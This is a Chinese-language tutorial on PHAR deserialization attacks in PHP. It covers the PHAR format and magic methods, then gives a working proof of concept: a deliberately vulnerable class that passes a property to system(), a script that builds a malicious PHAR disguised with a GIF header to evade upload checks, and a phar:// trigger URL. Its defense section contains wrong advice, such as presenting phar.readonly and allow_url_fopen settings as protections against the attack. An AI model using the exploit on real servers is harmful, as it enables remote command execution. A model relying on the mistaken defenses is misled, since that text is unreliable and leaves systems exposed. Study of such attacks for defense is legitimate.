温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么浅析phar反序列化漏洞攻击及实战

发布时间:2021-12-18 18:29:45 来源:亿速云 阅读:274 作者:柒染 栏目:网络安全
# 怎么浅析PHAR反序列化漏洞攻击及实战 ## 目录 1. [PHAR文件基础](#phar文件基础) 2. [PHP反序列化漏洞原理](#php反序列化漏洞原理) 3. [PHAR反序列化攻击机制](#phar反序列化攻击机制) 4. [攻击实战演示](#攻击实战演示) 5. [防御措施](#防御措施) 6. [总结与思考](#总结与思考) --- ## PHAR文件基础 ### 什么是PHAR文件 PHAR(PHP Archive)是PHP的打包文件格式,类似于Java的JAR文件。它可以将多个PHP文件、资源文件等打包成单个文件,便于分发和部署。PHAR文件包含: - 存根(Stub):类似ELF文件的头部,标识文件类型 - 清单(Manifest):元数据信息,包含序列化后的对象 - 文件内容:实际打包的代码/资源 - 签名(可选):用于验证完整性 ### PHAR文件结构示例 ```php <?php __HALT_COMPILER(); ?> // 二进制清单区域 // 文件内容 // 签名(可选) 

创建PHAR文件的方法

$phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "data"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->stopBuffering(); 

PHP反序列化漏洞原理

序列化与反序列化

  • 序列化:将对象转换为可存储/传输的字符串
  • 反序列化:将字符串还原为对象
// 序列化示例 class User { public $username = 'admin'; public $isAdmin = true; } $obj = new User(); echo serialize($obj); // 输出:O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;} 

危险魔术方法

当对象被反序列化时,这些方法会被自动调用: - __wakeup():反序列化时触发 - __destruct():对象销毁时触发 - __toString():对象被当作字符串使用时触发

漏洞产生条件

  1. 存在可被控制的序列化数据输入
  2. 应用中存在有危险逻辑的类方法
  3. 反序列化操作前未进行安全检查

PHAR反序列化攻击机制

为什么PHAR能触发反序列化

当PHP操作PHAR文件时(如file_exists()md5_file()等文件操作函数),会自动解析manifest区域中的序列化元数据,从而触发反序列化操作。

攻击面特征

  1. 文件操作函数:
     file_exists('phar://test.phar'); fopen('phar:///path/to/file.phar'); 
  2. 需要上传PHAR文件到服务器(可通过修改文件头绕过检测)

利用条件

  1. 存在可用的POP链(属性-导向编程链)
  2. 有文件操作函数且参数可控
  3. 能上传文件或已有PHAR文件在服务器上

与传统反序列化的区别

特性 传统反序列化 PHAR反序列化
触发方式 直接反序列化数据 通过文件操作函数
输入点 明显(参数传递) 隐蔽(文件操作)
文件要求 需要PHAR文件

攻击实战演示

环境搭建

漏洞示例代码(vuln.php):

class VulnerableClass { private $data; function __destruct() { system($this->data); } } $filename = $_GET['file']; if(file_exists($filename)) { echo "File exists!"; } 

攻击步骤

1. 构造恶意PHAR文件

class VulnerableClass { public $data = 'id'; } @unlink('poc.phar'); $phar = new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $object = new VulnerableClass(); $phar->setMetadata($object); // 注入恶意对象 $phar->addFromString('test.txt', 'text'); $phar->stopBuffering(); // 修改文件头为GIF绕过上传检测 file_put_contents('poc.gif', 'GIF89a'.file_get_contents('poc.phar')); 

2. 上传PHAR文件

通过文件上传接口上传伪装成GIF的PHAR文件

3. 触发漏洞

访问:

http://target/vuln.php?file=phar://uploads/poc.gif 

4. 结果

服务器将执行id命令,返回当前用户信息

实际案例

  1. WordPress CVE-2018-20148:通过图片上传触发PHAR反序列化
  2. Joomla! 反序列化漏洞:结合PHAR实现RCE

防御措施

开发层面

  1. 禁用危险魔术方法:
     class SafeClass { private final function __wakeup() {} private final function __destruct() {} } 
  2. 使用phar.readonly配置:
     ; php.ini phar.readonly = On 

运维层面

  1. 文件上传限制:

    • 严格检查文件内容而不仅是扩展名
    • 使用finfo_file()检测真实类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); 
  2. 禁用危险流包装器:

    allow_url_include = Off allow_url_fopen = Off 

代码审计要点

  1. 检查所有文件操作函数:
     file_exists(), fopen(), file_get_contents(), stat()... 
  2. 查找phar://协议的使用
  3. 审查所有__wakeup()__destruct()方法

总结与思考

PHAR反序列化是一种隐蔽性较强的攻击方式,其特点包括: 1. 利用正常的文件操作触发漏洞 2. 可绕过常规的文件上传检测 3. 在缺乏POP链的情况下仍可能造成信息泄露

防御建议: - 遵循最小权限原则 - 实施深度防御策略 - 定期进行安全审计

未来研究方向: 1. 自动化检测PHAR文件中的恶意序列化数据 2. 开发更安全的PHP序列化替代方案 3. 研究静态分析工具识别潜在风险

“安全不是产品,而是一个过程。” —— Bruce Schneier “`

(全文约2300字,实际字数可能因排版略有差异)

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI